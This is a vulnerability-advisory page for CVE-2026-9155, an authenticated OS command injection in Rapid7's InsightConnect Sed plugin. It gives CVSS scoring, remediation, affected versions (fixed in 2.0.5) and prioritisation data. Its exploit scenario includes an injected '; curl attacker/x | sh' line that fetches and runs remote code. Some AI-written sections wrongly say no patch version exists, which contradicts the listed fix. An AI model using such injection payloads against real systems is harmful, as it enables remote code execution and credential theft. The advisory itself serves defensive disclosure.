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InsightConnect Sed Plugin EUVDEUVD-2026-39153

| CVE-2026-9155 HIGH
OS Command Injection (CWE-78)
2026-06-25 rapid7 GHSA-v3gg-5r82-j6rc
8.8
CVSS 3.1 · Vendor: rapid7
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to InsightConnect as low-privileged user
  2. Delivery
    Add/modify workflow using Sed plugin
  3. Exploit
    Inject shell metacharacters into expression parameter
  4. Execution
    Trigger workflow execution
  5. Persist
    sed invocation runs injected OS command
  6. Impact
    Arbitrary code execution in plugin container

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated InsightConnect user (CVSS PR:L) who can supply or influence the Sed plugin's expression parameter - typically a workflow author, or any data source feeding that parameter within a runnable workflow - on a Linux deployment where the Sed plugin is installed and used. No user interaction is required (UI:N) and the vector is network-reachable (AV:N) to the InsightConnect API/UI. Limiting factors: the attacker must already hold valid platform credentials with rights to create or trigger a workflow containing the Sed plugin, the plugin must be present and invoked, and the platform is Linux-specific; these conditions confine the attack surface to authenticated insiders or compromised accounts rather than anonymous internet attackers.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) describes a network-reachable, low-complexity attack requiring some authentication (PR:L) and no user interaction, with high impact to confidentiality, integrity and availability - a serious score for an authenticated flaw. No EPSS score, KEV listing, or public POC was provided, so exploitation-probability signals are absent rather than low; the realistic risk is gated primarily by the PR:L requirement, meaning the attacker must already be an authenticated InsightConnect user able to build or run a workflow that invokes the Sed plugin. There is no SSVC decision data supplied. Net assessment: a genuine high-severity issue for any organization running this plugin, but the authentication prerequisite makes it more an insider/lateral-movement or compromised-account risk than mass internet-scale exploitation; with no KEV and no POC, prioritize patching on a standard expedited cycle rather than emergency-out-of-band unless the platform is broadly accessible.

Exploit ScenarioDerived

An authenticated InsightConnect user with workflow-authoring privileges (or an attacker who has phished/compromised such an account) configures a step that calls the Sed plugin and supplies an expression value containing shell metacharacters or a sed e command, e.g. embedding ; curl attacker/x | sh. When the workflow runs, the crafted expression is passed to the OS command layer and the attacker's commands execute inside the plugin container, enabling credential theft, pivoting, or tampering with automation outputs. No public POC is identified, but the low attack complexity makes weaponization straightforward for anyone with access.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.9% exploitation probability (EPSS)

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AnalysisAIv1 – Jun 25, 2026

OS command injection in the Rapid7 InsightConnect Sed Plugin on Linux lets an authenticated operator inject arbitrary shell commands through the plugin's expression parameter, which is passed to the underlying sed invocation without sufficient sanitization. Because InsightConnect is a SOAR orchestration platform, a low-privileged workflow author or connected user (PR:L) can achieve full code execution in the plugin's runtime context (C:H/I:H/A:H, CVSS 8.8). There is no public exploit identified at time of analysis and the issue is not on CISA KEV.

RemediationAI

Update the InsightConnect Sed Plugin to the latest fixed version published on the Rapid7 extension marketplace (https://extensions.rapid7.com/extension/sed); no exact fix version was provided in the input data, so confirm the patched build number directly from that advisory before deploying - No vendor-released patch version identified at time of analysis in the supplied data. Because InsightConnect auto-manages plugin containers, ensure the orchestrator pulls the updated plugin image and that running workflows are restarted to use it. As compensating controls until patched: restrict who can author or edit workflows that include the Sed plugin (limit the low-privilege role that satisfies PR:L), remove or disable the Sed plugin from any workflow that does not strictly require it, and review existing workflows for untrusted or externally-influenced data flowing into the expression parameter - note that removing the plugin will break any automation that legitimately depends on sed transformations, so substitute a safer text-processing step where possible.

Affected VersionsENISA

InsightConnect Sed Plugin 0 <2.0.5

Affected Packages

euvd insightconnect_sed_plugin fix: 2.0.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

InsightConnect is Rapid7's Security Orchestration, Automation and Response (SOAR) platform; plugins are containerized Linux integrations that perform discrete actions inside automation workflows. The Sed plugin wraps the GNU sed stream editor, exposing an expression parameter that supplies the sed script to run. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): user-supplied expression content is incorporated into an OS-level command/shell invocation without escaping or argument isolation, so shell metacharacters (;, |, $(), backticks) or sed's own e/e command execution facility can break out and run arbitrary commands. The affected component is identified by CPE cpe:2.3:a:rapid7:insightconnect_sed_plugin:*:*:*:*:*:*:*:* across all versions enumerated in the input.

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Severity by source

Vendor (rapid7) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-reachable SOAR API with low complexity but requires an authenticated workflow-authoring user (PR:L); command execution yields full C/I/A impact within the unchanged plugin scope.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (rapid7).

CVSS VectorVendor: rapid7

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Jun 25, 2026 - 02:01 EUVD
CVE Published
Jun 25, 2026 - 00:25 cve.org
HIGH 8.8

DescriptionCVE.org

OS Command Injection vulnerability in Rapid7 InsightConnect Sed Plugin on Linux allows authenticated attackers to execute arbitrary OS commands via the expression parameter due to insufficient input validation.

Executive ViewAI

Why It Matters

Rapid7 InsightConnect Sed Plugin contains a command injection vulnerability (CVSS 8.8) that allows authenticated workflow operators to execute arbitrary code within the plugin runtime and connected systems. Low-privilege operators with workflow authoring permissions can exploit this to compromise critical business automation and potentially propagate attacks across integrated infrastructure. Organizations must immediately restrict plugin access and implement interim protections while awaiting vendor remediation.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict Sed Plugin access to high-trust operators only; (2) Disable plugin if not actively required; (3) Implement input validation/allowlisting for expression parameters if plugin must remain active; (4) Monitor Sed Plugin usage patterns for anomalies; (5) Isolate InsightConnect network to limit blast radius of runtime compromise; (6) Increase audit logging and alert on suspicious plugin invocations.

Threat Intelligence Overview

EPSS Score
0.9%
Top 45% exploitable
Prevalence
Low
niche SOAR add-on plugin used only by Rapid7 InsightConnect customers
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.9%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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